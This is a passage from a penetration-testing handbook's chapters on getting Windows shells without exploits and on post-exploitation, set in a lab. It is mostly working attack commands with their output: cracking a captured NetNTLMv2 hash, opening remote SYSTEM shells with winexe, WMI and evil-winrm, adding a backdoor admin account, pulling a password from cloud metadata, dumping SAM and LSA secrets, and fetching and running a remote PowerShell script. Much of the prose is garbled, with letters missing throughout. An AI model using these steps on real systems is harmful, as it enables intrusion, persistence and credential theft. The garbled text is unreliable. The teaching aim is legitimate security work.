❶[SMB] NTLMv2-SSP Hash :
target::GHH:999110fcc6fd06ac:74A9A81ED10872F65D2239B4B937DBA7:01010000000000
00C0653150DE09D201499A192F94D427A2000000000200080053004D004200330001001E0057
0049004E002D00500052004800340039003200520051004100460056000400140053004D0042
0033002E006C006F00630061006C0003003400570049004E002D005000520048003400390032
00520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053
004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000
000800300030000000000000000000000000300000E629BD2DE076B1DF40D7FDB663ECB4273E
F2AD6EB0A30FCC93F9A1585ADCAC0C0A0010000000000000000000000000000000000009001C
0063006900660073002F00310030002E0030002E0030002E00340030000000000000000000
In he exampe shown in Figue 16-1, we don’ see a poison message beause a
shedued ask is aessing he age. In a ea senaio, we migh see eihe NeBIOS o
LLMNR poisoning messages hee, aong wih some anaysis of he hos sysem. In ou
exampe we ae given he NeNTLMv2 hash aong wih he usename ❶. We an y o
ak his edenia and see if i woks on he sysem. When doing his on you own, you
may see a diffeen hash beause he ien none is hanging eah ime.
NOTE In this example, we are working in the AWS lab space. AWS VPCs do
not support broadcast or multicast traffic, so we can’t perform an actual
poison. We have simulated this with a scheduled task. The actual request
that would be required for poisoning will not be sent; however, this
methodology will result in poisoning in environments where multicast and
broadcast are supported and clients have LLMNR or NetBIOS enabled.
We an see ou NeNTLMv2 hash hee, bu we aso see wo new fies eaed in he
PART III
dieoy: DumpNTLMv2.x and DumpNTLMv1.x. Whie fies fo boh v1 and v2
ae eaed, we know ha he hash passed o Responde was Vesion 2 (v2), so we an jus
un John agains he v2 fie and see if i an ak he passwod:
└─# wget -q \
https://raw.githubusercontent.com/GrayHatHacking/GHHv6/main/Ch16/passwords.txt
We ae going o use a passwod is eaed espeiay fo his ab. This wi gab he
fie fom GiHub.
└─# john DumpNTLMv2.txt --wo=passwords.txt --ru=KoreLogic
In his insane, we have used he KoeLogi uese wih John he Rippe. This
uese is vey exensive, and i’s good fo esing smae wodiss wih os of diffeen
pemuaions. In ou ase, we have a oo wih seasons and he wod “passwod,” whih
wi ikey ge a passwod wih age quaniies of hashes pey quiky.
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Winter2021! (target)
1g 0:00:00:27 DONE (2021-01-18 04:36) 0.03663g/s 752996p/s 752996c/s 752996C/s
Summer1995!..Winter2029$
Use the "--show --format=netntlmv2" options to display all of the cracked
passwords reliably
Session completed
Afe a few momens, John has suessfuy aked he passwod—i found he
passwod “Wine2021!” fo he “age” use. Wih hese edenias, we an aess he
sysem emoey. In he es of his hape, we’e going o use hese edenias o fuhe
inea wih ou age mahine.
Gray Hat Hacking: The Ethical Hacker’s Handbook
332
Using Winexe
Winexe is a emoe adminisaion oo fo Windows sysems ha uns on Linux. Wih
Winexe, we an un appiaions on he age sysem o open up an ineaive om-
mand pomp. One addiiona benefi is ha we an ask Winexe o aunh ou she as
“sysem” if we ae ageing a sysem whee ou use has eevaed edenias, giving us
addiiona pivieges o he sysem.
We have edenias fo ou age sysem fom using Responde, bu how do we now
inea wih ou age sysem? Using Winexe is a ommon way fo aakes o aess
emoe sysems. I uses named pipes hough he hidden IPC$ shae on he age sysem
o eae a managemen sevie. One ha sevie is eaed, we an onne o i and
a ommands as he sevie.
Fo his ab, we sa whee Lab 16-1 ends. Pease be sue you have pefomed he
seps in ha ab. Fis, we exi ou oo she and eun o he home dieoy. Then,
we veify ha ou age sysem is shaing IPC$ by using smbien o is shaes on he
age sysem:
└─# exit
└─$ smbclient -U 'GHH/target%Winter2021!' -L 10.0.0.20
Fo many of he oos we use in he es of his hape, we’e going o see his
ommon way of speifying he ogon edenias fo he age sysem. The foma is
<DOMAIN>/<USERNAME>%<PASSWORD>. Hee, we speified ou use eden-
ias as GHH/target%Winter2021!, ou usename and passwod. These edenias use
singe quoes beause some speia haaes may be inepeed by he opeaing sysem
wihou hem. The -L opion asks smbien o is he shaes on he sysem. We an see
ha hee ae a numbe of shaes, inuding ou IPC$ shae.
Wih knowedge ha he IPC$ shae is avaiabe, e’s see if we have he abiiy o aunh
a ommand pomp. We’ use he same synax fo speifying he usename, ony his
ime we’ use he synax //<IP ADDRESS> o speify he age sysem. We aso add he
--uninstall fag, whih wi uninsa ou sevie on exi. Finay, we speify cmd.exe fo
he md.exe appiaion, whih gives us an ineaive she on he age sysem.
└─$ winexe -U 'GHH/target%Winter2021!' --uninstall //10.0.0.20 cmd.exe
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
ghh\target
Chapter 16: Getting Shells Without Exploits
333
We now see he Windows banne and ommand pomp, whih means we sueeded.
Nex, we wan o hek ou piviege eve so ha we an deemine he ighs we ae
opeaing wih. By yping whoami, we an pin ou he use ID of ou she. In his ase,
ou use is he “ghh\age” use, whih means ha we wi have pivieges as ha use.
CAUTION If you exit the shell by using ctrl-c or if you don’t use the
--uninstall flag, the service that’s created will remain on the target system.
As an attacker, this is bad because you’re leaving a trace of the techniques
you’re using for remote access. As a penetration tester, leaving artifacts
makes it difficult to determine if another breach has occurred, and it may
set off red flags after you’ve left a system. This doesn’t always come up right
away. In six months, someone might ask if you left the service around. So, if
you aren’t cleaning up, you’ll be left relying on notes to answer some very
PART III
uncomfortable questions.
Finay, o eave ou she, we an jus ype exit a he ommand pomp. We shoud
hen see he Kai pomp, whih es us know ha we have ef he she. On he seve
side, ou sevie is being uninsaed and ou onneion osed.
In many ases, he hings we wan o do on a age sysem wi equie eevaed pivi-
eges. In he pevious ab, we wee abe o ge aess as a noma use, bu we eay wan
aess as he SYSTEM use. Beause his use has fu pivieges ove he sysem, we an
aess edenias, memoy, and ohe vauabe ages.
└─$ winexe -U 'GHH/target%Winter2021!' --uninstall \
--system //10.0.0.20 cmd.exe
To exeue ou aak, we’e going o use a he same opions as ou pevious ab, bu
we’ add in he --system fag. This wi ake ae of esaaion fo us, and he end esu
is a highy pivieged she, as shown hee:
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
As you an see hee, we’e now aessing he viim mahine as he SYSTEM use.
Ahough no pa of he sope of his exeise, his aows us o dump edenias, e-
ae new uses, eonfigue he devie, and pefom many ohe asks ha a noma use
migh no be abe o do. Be sue o ype exit a he ommand pomp o eave he she
when you ae finished.
Gray Hat Hacking: The Ethical Hacker’s Handbook
334
Using WMI
Windows Managemen Insumenaion (WMI) is a se of speifiaions fo aessing
sysem onfiguaion infomaion aoss an enepise. WMI aows adminisaos o
view poesses, pahes, hadwae, and many ohe piees of infomaion abou he a-
ge sysem. I has he abiiy o is infomaion, eae new daa, deee daa, and hange
daa on he age sysem based on he pemissions of he aing use. As an aake,
his means ha we an use WMI o find ou quie a bi abou a age sysem as we as
manipuae he sysem sae.
Knowing ha we an quey sysem infomaion wih WMI, we migh wan o know a
numbe of hings abou ou age sysem. Fo exampe, we migh wan o know who
is ogged on ineaivey o see if hee is a isk of us geing augh. In his ab, we’e
going o use wo diffeen WMI queies o see wha use o uses ae ogged in o he
age sysem.
To quey WMI, we have o buid a WMI Quey Language (WQL) quey ha wi ge
he infomaion we ae ooking fo. WQL ooks simia o Suued Quey Language
(SQL), whih is used fo daabase queies. To buid ou quey, hough, we have o know
a ie bi moe abou how WMI woks. The mos impoan hing we need o know is
he ass we wi be queying. The “Fo Fuhe Reading” seion a he end of his hap-
e onains an eny ha poins o Miosof’s is of asses ha ae aessibe hough
WMI. Howeve, we’e going o ook a jus wo in his exeise.
The fis ass we’e going o be queying is he win32_logonsession ass.1 This ass
onains infomaion abou he sessions ha ae ogged in, he ype of ogon ha has
been pefomed, he sa ime, and ohe daa. Le’s pu ogehe a quey o use fis, and
hen we’ ook a how o exeue his quey using WMI:
select LogonType,LogonId from win32_logonsession
Using his quey, we see wo diffeen piees of daa fom he win32_logonsession
ass. The fis is LogonType, whih onains infomaion abou he ype of ogin being
pefomed. The seond, LogonId, is he inena ID numbe fo he ogon session. To
exeue his quey, we have o use a WMI ien. Kai has wo diffeen iens fo WMI
queies: he fis is ph-wmi, and he seond is pa of Impake’s sips. The ph-wmi
ien is easie fo siping, so we’e going o be fousing on ha.
The synax fo ph-wmi is simia o ha of he Winexe oo we used in he as ab.
We’ speify he use and he hos he same way and hen add ou WQL quey o he
end of he ommand:
└─$ pth-wmic -U 'ghh/target%Winter2021!' //10.0.0.20 \
"select LogonType,LogonId from win32_logonsession"
Chapter 16: Getting Shells Without Exploits
335
One he ommand is exeued, he infomaion abou he ogin sessions wi be
euned:
CLASS: Win32_LogonSession
LogonId|LogonType
999|0
997|5
996|5
22720456|10
22710110|10
33768301|3
92491|3
48170|2
48115|2
22687459|2
22687062|2
PART III
Looking a he oupu fom ou quey, we see he session and he ogon ype. A numbe
of ogon ypes ae shown hee, so how do we know whih sessions we ae ineesed in? To
deemine his, efe o Tabe 16-1, whih shows he diffeen ypes of ogons and wha
hey mean.
Now ha we know wha he ypes mean, e’s imi ou quey o jus ype 2 and
ype 10 ogons. This shoud e us wha ogon IDs we need o ook fo in ode o find
he ineaive use ogons.
└─$ pth-wmic -U 'ghh/target%Winter2021!' //10.0.0.20 \
"select LogonId from win32_logonsession where LogonType=2 or LogonType=10"
CLASS: Win32_LogonSession
LogonId
22720456
22710110
48170
48115
22687459
22687062
In ou exampe, we see hee uses: age, DWM-1, and DWN-2. DWM and UMFD
ae dive-based aouns, so we an safey ignoe hem. You may see a diffeen ising,
depending on when you un he ommand. If you wan o ensue ha he age use
shows up, you shoud make sue i is ogged in on he age sysem befoe unning his
ommand. We see a paen hee, so e’s ook a ony he poesses ha aen’ oa o
WS20:
└─$ pth-wmic -U 'ghh/target%Winter2021!' //10.0.0.20 \
"select * from win32_loggedonuser" | grep -v WS20
The domain, usename, and LogonId shoud be euned fo eah use ha isn’ oa
o he sysem:
CLASS: Win32_LoggedOnUser
Antecedent|Dependent
\\.\root\cimv2:Win32_Account.Domain="GHH",Name="target"|
\\.\root\cimv2:Win32_LogonSession.LogonId="22720456"
\\.\root\cimv2:Win32_Account.Domain="GHH",Name="target"|
\\.\root\cimv2:Win32_LogonSession.LogonId="22710110"
\\.\root\cimv2:Win32_Account.Domain="GHH",Name="target"|
\\.\root\cimv2:Win32_LogonSession.LogonId="34484879"
Finay, we an see he sessions ogged ino he box. A ae he age use in he GHH
domain. Using WMI, we have deemined ha age is ogged in ineaivey o he
sysem. Theefoe, if we do anyhing ha pops up a window o auses disupions, we
migh be deeed.
Chapter 16: Getting Shells Without Exploits
337
Now ha we know a bi moe abou WMI, e’s ook a how o exeue ommands. We
have wo opions fo exeuing ommands using WMI: we oud eae a new poess
wih WMI and hen monio he oupu, o we oud use one of he oos bui ino Kai.
Fo his exampe, we’ use he impake-wmiexe binay o aunh ommands.
To do a basi es, e’s un impake-wmiexe o eieve he usename. We un his
ommand agains ou Windows age:
└─$ impacket-wmiexec 'GHH/target:[email protected]' whoami
Impacket v0.9.23.dev1+20210111.162220.7100210f - Copyright 2020 SecureAuth
Corporation
PART III
ghh\target
Nex, e’s do somehing a bi moe ineesing. Le’s eae a bakdoo use so ha
we an ge bak in ae. We wan o add his use o he Adminisaos goup oay so
ha we have fu aess when we onne bak. This ensues ha if he use hanges hei
passwod, we si have aess o he age sysem. To sa wih, we’e going o use he
net user ommand o eae a new use aed evihake:
└─$ impacket-wmiexec 'GHH/target:[email protected]' \
'net user evilhacker Abc123! /add'
We shoud see a onneion message and an indiaion ha he ommand exeued
suessfuy:
Impacket v0.9.23.dev1+20210111.162220.7100210f - Copyright 2020 SecureAuth Corporation
When his ommand uns, i exeues he ommand via WMI and wies he oupu
o a fie. The pogam auomaiay eieves he onen of he fie fo us, so we know
ha he ommand was exeued suessfuy. Now ha we have a new use on he sysem,
e’s add his new use o he oa Adminisaos goup using net localuser:
└─$ impacket-wmiexec 'GHH/target:[email protected]' \
'net localgroup Administrators evilhacker /add'
Impacket v0.9.23.dev1+20210111.162220.7100210f - Copyright 2020 SecureAuth
Corporation
[*] SMBv3.0 dialect used
The command completed successfully.
└─$ impacket-wmiexec 'GHH/target:[email protected]' \
'net localgroup Administrators'
Impacket v0.9.23.dev1+20210111.162220.7100210f - Copyright 2020 SecureAuth
Corporation
-------------------------------------------------------------------------------
Administrator
evilhacker
GHH\Domain Admins
GHH\target
The command completed successfully.
Now ha we’ve added ou use evihake o he Adminisaos goup, e’s make
sue ou aiviy woked. We’ go bak in and use net localgroup fo he Adminisaos
goup o make sue ou use appeas. Las bu no eas, e’s hek o make sue we have
aess:
└─$ winexe -U 'evilhacker%Abc123!' --system --uninstall //10.0.0.20 cmd.exe
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
We’ve suessfuy eaed a bakdoo ino he sysem ha wi aow us o ome bak
ae and aess i. We have added i o he Adminisaos goup so ha we an esaae
pivieges o he SYSTEM use. When we ied ou winexe ommand, we suessfuy
go bak a she, veifying ha we have aess when we need i in he fuue, egadess
of wha he use hanges hei passwod o. Don’ foge o ype exit o ge ou of you
she when you ae done.
One of he ways ha WinRM an hep us is by aowing us o exeue ommands
emoey. Unfounaey, a he ime of his wiing, hee ween’ a o of ommand-ine
oos fom Kai o do his by defau. Howeve, hee ae Pyhon (pywinm) and Ruby
(winm) gems ha do suppo he pooo. Ou Ansibe insaaion fo he ab auo-
maiay insaed he evi-winm gem ha aows us o use he Ruby gems o pefom
asks, bu i has addiiona funionaiy wih peneaion eses in mind.
Chapter 16: Getting Shells Without Exploits
339
To inea wih a emoe hos using evi-winm, e’s sa off by unning a simpe
whoami ommand. We jus need o speify he use, passwod, and age, and when we
onne we’ eeive a pomp and an issue ommands:
└─$ evil-winrm -u target -p 'Winter2021!' -i 10.0.0.20
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\target\Documents> whoami
ghh\target
You an see ha we speified -u fo he use edenias, -p fo he passwod, and -i fo
he IP addess. One onneed, we eeived a pomp ha keeps ak of whee we ae
oaed in he fie sysem. Using his pomp, we an un she ommands bu an aso
un PoweShe diey fom he pomp. Le’s ge he is of oa uses:
*Evil-WinRM* PS C:\Users\target> Get-LocalUser
PART III
Name Enabled Description
---- ------- -----------
Administrator True Built-in account for administering the computer/domain
DefaultAccount False A user account managed by the system.
evilhacker True
Guest False Built-in account for guest access to the computer/domain
We see he PoweShe oupu of he Get-LocalUser ommand and an see he
defau Adminisao aoun as we as he evihake aoun we eaed eaie. In
his onfiguaion we ae imied o PoweShe sips we have on he sysem o an
impo ove he Web. Cmdes ike Invoke-WebRequest and Invoke-Expression an
be used o emoey ge iems ove he Inene and ono he sysem, bu if we wan o
bing aong ou own ode, we need o y somehing diffeen.
To exi he Evi-WinRM she, ype exit o eun o he Kai pomp.
Moe oos ae aowing us o bing ode aong wih us so ha we don’ have o figue
ou how o ge hem ino a sysem. Evi-WinRM has wo diffeen ways fo us o bing
ove ode: binaies ha i wi exeue fo us, and sips ha we an un oay. Le’s
begin by e-exeuing he oo wih wo addiiona opions: a binay dieoy and a
sip dieoy.
└─$ evil-winrm -u target -p 'Winter2021!' -i 10.0.0.20 -e Binaries \
-s /usr/share/windows-resources/powersploit/Recon
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
The -e opion speifies a oaion o pu binaies fom. This dieoy inudes a num-
be of C# binaies ha wee bui on he Ui mahine and hen ansfeed ove o ou
Kai box duing depoymen. The -s fag speifies a sip dieoy oaion. We wi be
Gray Hat Hacking: The Ethical Hacker’s Handbook
340
abe o oad any sips fom his dieoy inside Evi-WinRM. We oud make ou own
dieoy and pu a on of diffeen sips in hee, bu fo his exampe, we wi use jus
he PoweSpoi eon modues ha aeady exis on Kai.
The sips don’ oad auomaiay, so one we have ou she, we an e wha sips
ae oaded by yping menu:
*Evil-WinRM* PS C:\Users\target\Documents> menu
<trimmed for brevity>
[+] Bypass-4MSI
[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
We see he fou ommands ha ae auomaiay inuded in he oo by defau.
D-Loade, Donu-Loade, and Invoke-Binay ae diffeen ways of exeuing binaies.
Bypass-4MSI bypasses AMSI (Windows Animawae San Inefae). AMSI aows
Windows seuiy oos o ge addiiona insigh ino PoweShe and ohe oaions o
dee mawae a unime, inuding poeniay maiious PoweShe ode. Wih some
oos, his wi be equied, bu in ou ase, Windows Defende has aeady been disabed
so ha he oupu is onsisen aoss pah eves.
To un a sip, we ype he sip name and hen an un menu again o show he
updaed oo is. Hee, we wi un he PoweView.ps1 sip:
*Evil-WinRM* PS C:\Users\target\Documents> PowerView.ps1
*Evil-WinRM* PS C:\Users\target\Documents> menu
<trimmed for brevity>
[+] Export-PowerViewCSV
[+] field
[+] Find-ComputerField
[+] Find-ForeignGroup
[+] Find-ForeignUser
[+] Find-GPOComputerAdmin
[+] Find-GPOLocation
[+] Find-InterestingFile
The oupu when you un hese ommands wi be muh onge, and beause we don’
have a fu session on he sysem, we won’ be abe o do some aiviies on he domain.
Some ommands equie ha a use have ikes o hashes ahed in he session. We an,
howeve, un ommands oay on he mahine. Le’s aemp o ge he use daa fom
AWS fo his sysem:
WinRM* PS C:\> Invoke-RestMethod -uri http://169.254.169.254/latest/user-data | fl
powershell :
$admin = [adsi]("WinNT://./administrator, user")
$admin.psbase.invoke("SetPassword", "GrayHatHack1ng!")
We an see fom he oupu ha he peson who depoyed his sysem se up a pass-
wod hange as he box omes onine. In his ase, he passwod fo he Admin use is
“GayHaHak1ng!”. We woud now be abe o og in as he Adminisao use even if
Chapter 16: Getting Shells Without Exploits
341
he age use hanged he passwod. We an aso y o ge his daa diey fom he
sysem using one of ou binaies. We an a hese wih he Invoke-Binary mde buid
ino Evi-WinRM.
*Evil-WinRM* PS C:\> Invoke-Binary Binaries/SharpSecDump.exe "-target=localhost"
[*] RemoteRegistry service started on localhost
[*] Parsing SAM hive on localhost
[*] Parsing SECURITY hive on localhost
[*] Successfully cleaned up on localhost
---------------Results from localhost---------------
[*] SAM hashes
Administrator:500:aad3b435b51404eeaad3b435b51404ee:19d56dfa8872c603984c44ff96a89a6c
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
evilhacker:1008:aad3b435b51404eeaad3b435b51404ee:4ddec0a4c1b022c5fd8503826fbfb7f2
[*] Cached domain logon information(domain/username:hash)
GHH.LOCAL/target:$DCC2$10240#target#01d67d89fe6b9735f1f6b9c363050657
[*] LSA Secrets
PART III
[*] $MACHINE.ACC
ghh.local\ws20$:aad3b435b51404eeaad3b435b51404ee:3c346f300ce7c982682e66dc85334c94
[*] DPAPI_SYSTEM
dpapi_machinekey:9e9aab9478b2012bce53b8e9fa3669d93598b24f
dpapi_userkey:38a528964f3a175b1d7c958d8e88089221de290c
[*] NL$KM
NL$KM:2e74ed5562cb0c23833dc65651ceb29363bc5fc9598b25db1ffcf9a226503160c467c4473bead7
01869b673170f930a14999f2296d1985d4f201bec065261920
---------------Script execution completed---------------
Even hough we speified he pah whee ou binay ives, we si have o use he fu
pah o ge o he binay fom whee evi-winm was aunhed (in his ase, he Binaies
dieoy). This oo dumps hashes ou of memoy, and we need o speify one agu-
men—he hos o onne o. If we had muipe agumens, we woud sepaae hem
in he quoes wih ommas o e he pogam know eah agumen ha was going o be
aed. The esuing oupu has boh he hashes fom he oa sysem ike he Adminis-
ao use, bu aso he ahed edenias on he sysem fo he age use. We now have
hashes we an use if we need o fo Adminisao, as we as he Adminisao passwod
ha was se wih he AWS use daa, and he ahed hash of uses on he sysem ha we
oud aemp o ak.
Summary
In his hape, we ooked a a numbe of ways o ge ono a age sysem wihou
using an expoi. We ooked a seaing and aking edenias using Responde o
spoof LLMNR and NeBIOS Name Sevies esponses. This aowed us o gahe
edenias ha wee passed using NeNTLM, and hen we aked hose edenias
wih John he Rippe.
We ooked a diffeen ways o un ommands as we wih he edenias we ap-
ued. This inudes using Winexe, whih gives us a emoe ineaive she. We aso used
WMI o quey sysem infomaion and un ommands. Wih WinRM, we wen beyond
simpy aunhing shes o being abe o exeue PoweShe sips emoey as we as
binaies fom ou oa sysem.
Gray Hat Hacking: The Ethical Hacker’s Handbook
342
Whie doing his, we wee abe o “ive off he and” and use bui-in oos and po-
esses on hese age sysems. This edues he isk of being augh and edues he
possibiiy we’ eave somehing bad on a viim sysem.
Reference
1. Miosof, “Win32_LogonSession ass,” Augus 1, 2017, hps://msdn.miosof
.om/en-us/ibay/aa394189(v=vs.85).aspx
Post-Exploitation in
Modern Windows
CHAPTER
17
Environments
In this chapter, we cover the following topics:
• User recon
• System recon
• Domain recon
• Local privilege escalation
• Active Directory privilege escalation
• Active Directory persistence
Post-Exploitation
I pvious chaps, w hav covd som ways o g io sysms, ow w d o
cov wha o do af w’ succssful. Pos-xploiaio compasss all h sps af
iiial xploiaio. This icluds addiioal co, addiioal xploiaio, pivilg
xploiaio, ad mo. A lo of h ifomaio availabl shows you how o scala,
dump hashs, ad mov laally i vioms ha a’ usig som of h mod-
chologis availabl o piss. Tools lik h Local Admiisao Passwod
Soluio (LAPS) fom Micosof hlp adomiz Admiisao passwods, ad mos
vioms a’ allowig uss o b admiisaos o hi Dskop aymo.
Kowig his, w d o udsad how o hadl som of h ky lms of
pos-xploiaio: local ad Aciv Dicoy (AD) co, scalaig pivilgs o boh
h local sysm ad i h domai, ad gaiig psisc o boh a local machi ad
wihi AD islf. To do his, w will us a combiaio of PowShll ad C# biais o
idify vulabl svics, pmissios, ad cofiguaios.
343
Gray Hat Hacking: The Ethical Hacker’s Handbook
344
Host Recon
Af iiial accss o a ag, h fis sp is ypically gig som siuaioal awa-
ss. I is ciical o idify wha us you a i h sysm as, wha pivilgs ha us
has, ad wha h poial scalaio ad psisc opios a. This co may also
povid ifomaio abou wha uss hav accss o.
O of h misaks may hacks mak is o go saigh fo Domai Admi i a
viom. This highly pivilgd Aciv Dicoy goup is ga, bu also fquly
highly moiod. I’s o ucommo fo h us who you g iiial accss as o hav
suffici pivilgs o ag oh sysms ad oh daa o o povid addiioal laal
movm possibiliis, bu wihou fis pofilig h hos ad us, hs higs may
b missd.
User Recon
Oc you hav accss o a sysm, h fis sp is ypically figuig ou who you a i as.
Th a a fw ways o do his, bu h mos simpl is wih h whoami commad. This
commad has a lo of diff opios o viw daa. L’s walk hough hm.
NOTE Lab 17-1 uses the AWS cloud with the setup for Chapter 17. To access
this lab, clone the git repository at https://github.com/GrayHatHacking/
GHHv6/, follow the setup instructions in the cloudsetup directory, then
follow the instructions in the ch17 folder to set up the lab. Once this is done,
the IP addresses for the systems will be in the ansible directory under the
inventory folder.
I his lab w a goig o us h whoami commad o idify us ighs ad pivi-
lgs. Bgi by cocig o h ag machi as us GHH\ag wih passwod
Wi2021!. Oc you’ loggd i, op up a cmd.x pomp. Nx, yp whoami
ad pss enter.
C:\Users\target>whoami
ghh\target
W ca s ha w a loggd i as h ag us i h GHH domai. Alhough
w loggd i o his machi, h will b cass wh w hav compomisd a machi
ad w do’ kow who w a i as. I his cas, w ow kow h domai ad h
usam. Wh w add h /user flag, w ca also g h us’s SID, which will giv us
boh h domai SID ad h us poio.
C:\Users\target>whoami /user
USER INFORMATION
----------------
User Name SID
========== ==============================================
ghh\target S-1-5-21-3262898812-2511208411-1049563518-1111
Chapter 17: Post-Exploitation in Modern Windows Environments
345
Th us SID lls us a fw higs: h fis is h domai SID, which will b usful i
aacks lik Kbos gold ick aacks. Th domai poio is all of h SID sig up
uil h las dash. I his cas, h domai SID is S-1-5-21-3262898812-2511208411-
1049563518 ad h us ID is 1111. Uss blow 1000 a sicd o pivilgd uss,
ad uss abov 1000 a omal uss. Ths uss may hav addiioal pivilgs, bu
his us is o pa of h buil-i pivilgd us goups i h domai.
W ca also look a h us’s Disiguishd Nam (DN), which is h idiy ha
maks i uiqu i Aciv Dicoy. This will giv us h fully qualifid DN of h
domai as wll as how h us is placd wihi h ogaizaio:
C:\Users\target>whoami /fqdn
CN=target,CN=Users,DC=ghh,DC=local
H w ca s h us’s domai is DC=ghh,DC=local (o ghh.local fo sho). W also
ca s ha h us is i h Uss coai wihi h domai. Th us is’ ogaizd
PART III
io a pivilgd uss coai o ayhig ls, so his us may jus b a gula us
of h domai. L’s ak a look a goups x:
C:\Users\target>whoami /groups /FO LIST
GROUP INFORMATION
-----------------
Group Name: Everyone
❶Type: Well-known group
SID: S-1-1-0
Attributes: Mandatory group, Enabled by default, Enabled group
H w s ha h us oly has wo pivilgs. Th SeChangeNotifyPrivilege is
abld, ad h oh pivilg is disabld. Th abld pivilg mas ha h us
ca aviga h fil sysm wihou chckig ach fold o dmi if hy hav
“Tavs Fold” spcial pmissios; isad, h sysm jus chcks o s if h us
has ad accss o h dicoy bfo pocdig. This us has vy limid pmissios,
so may of h icks fo pivilg scalaio may b difficul o pfom.
Now ha w kow wha h us’s pivilgs a i h cox of h sysm, w ca look
o s wha oh ifomaio w migh b abl o fid o h sysm abou h us. This
ca b vyhig fom wb co o SSH kys. Som of his w ca fid by bowsig
Chapter 17: Post-Exploitation in Modern Windows Environments
347
aoud o h sysm, which is dfiily commdd, bu som of i quis lookig
aoud i h gisy ad oh fils. This would b im-cosumig o do maually,
bu luckily h Sabl ool is availabl o hlp fid addiioal ifomaio.
To bgi wih, whil sayig cocd o h ag sysm, op a SSH cocio
o h Kali sv. W a goig o s up a wb sv o hlp us u ools. Oc you a
cocd, xcu h followig sps:
┌──(kali kali)-[~]
└─$ cd SharpPack/PowerSharpBinaries
┌──(kali kali)-[~/SharpPack/PowerSharpBinaries]
└─$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
O h ag sysm, w a goig o load up PowShll ad iclud h Ivok-
Sabl.ps1 modul fom h ShapPack posioy ha is clod i h hom dicoy:
PART III
C:\Users\target>powershell
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.
PS C:\Users\target> iex (iwr http://10.0.0.40:8888/Invoke-Seatbelt.ps1)
This loads h Ivok-Sabl modul, which will allow us o u h C# Sabl
biay fom PowShll. Th Sabl ool hlps us gai addiioal isigh io wha is
isalld o a sysm ad how i is cofigud. Nx, w will xcu Sabl ad ask
i o pofil us ifomaio. W will also add a -q flag o ask i o o pi ba
ifomaio.
PS C:\Users\target> Invoke-Seatbelt -Command '-group=user -q'
====== ChromePresence ======
====== CloudCredentials ======
<snipped>
====== dir ======
LastAccess LastWrite Size Path
16-06-21 21-08-01 527B C:\Users\Default\Desktop\EC2 Feedback.website
16-06-21 21-08-01 554B C:\Users\Default\Desktop\EC2 Microsoft Windows
Guide.website
16-10-18 16-10-18 0B C:\Users\Default\Documents\My Music\
<snipped>
====== ExplorerMRUs ======
Explorer GHH\target 2021-08-02 C:\
Explorer GHH\target 2021-08-01 C:\ProgramData\Amazon\EC2-Windows\AWS.EC2.
WindowsUpdate
Explorer GHH\target 2021-08-01 C:\ProgramData\Amazon\EC2-Windows\AWS.EC2.
WindowsUpdate\AWS.EC2.WindowsUpdate.log
Explorer GHH\target 2021-08-01 C:\Users\target\Desktop\WindowsUpdate.log
====== ExplorerRunCommands ======
<snipped>
====== SecPackageCreds ======
Version : NetNTLMv2
Hash :
target::GHH:1122334455667788:0599106953b283c2131921ea15987b09:01010000000000002c5d
65c65989d70124625896a4a4c652000000000800300030000000000000000000000000200000dca9b1
a3f1445539a6248646542fe5b7818352570fd6518e3f8210eb1644d51f0a0010000000000000000000
0000000000000000090000000000000000000000
Gray Hat Hacking: The Ethical Hacker’s Handbook
348
Sabl gos hough diff aas of h us’s pofil ad hlps idify cly
accssd fils, URLs ha hav b bookmakd, folds i h us’s hom dicoy,
ad h fially hi NTLMv2 cdials o cack offli if you do’ alady kow
hi passwod. Th is a lo mo h, bu hs a som of h high pois. Ths
ims will giv you som isigh io h us cox ad hi pivilgs, mmbship,
ad accss. Udsadig h us’s ighs ad pivilgs may hlp you dmi if you
hav h accss you d o us ag daa o sysms.
System Recon
Now ha w hav ifomaio abou h us, w should look a h hos islf. Hoss
fquly hav daa ha ca hlp idify h gal scuiy posu of sysms o h
wok. Addiioally, isalld sofwa packags migh giv us poial pahways fo
scalaio ad laal movm. Posu lms big usd, such as aivius sofwa,
EDR poducs, fiwall saus, UAC sa, ad so o will giv us a ida of wha w hav
o do fo vasio houghou h wok.
W ca sa off wih som basic siuaioal awass wih PowShll ad h mov
io mo obus ools. This will allow us o kp as qui as possibl, ad h as w
figu ou mo abou h sysm, w ca g loud basd o h cools w s i plac.
Th fis hig w wa o chck is o s if AMSI is abld. This will b a good idica-
io of whh o o w ca us addiioal oolig i mmoy wihou i big s.
Fom a PowShll pomp as ou ag us, w issu h followig commads:
PS C:\Users\target> $clsids = gci HKLM:\Software\Microsoft\AMSI\Providers\ |
>> %{ ($_.Name -split "\\") | select -last 1 }
PS C:\Users\target> $clsids | %{ ls HKLM:\Software\Classes\CLSID\$_}
Hive: HKEY_LOCAL_MACHINE\Software\Classes\CLSID\
{2781761E-28E0-4109-99FE-B9D127C57AFE}
Name Property
---- --------
Hosts (default) : Scanned Hosting Applications
Implemented Categories
InprocServer32 (default) : "C:\ProgramData\Microsoft\Windows
Defender\Platform\4.18.2107.4-0\MpOav.dll"
ThreadingModel : Both
Th fis li uss h Get-ChildItem cmdl o g h povids i h AMSI Povid-
s gisy lis. This coais a lis of Class IDs (CLSIDs) ha hav gisd hmslvs
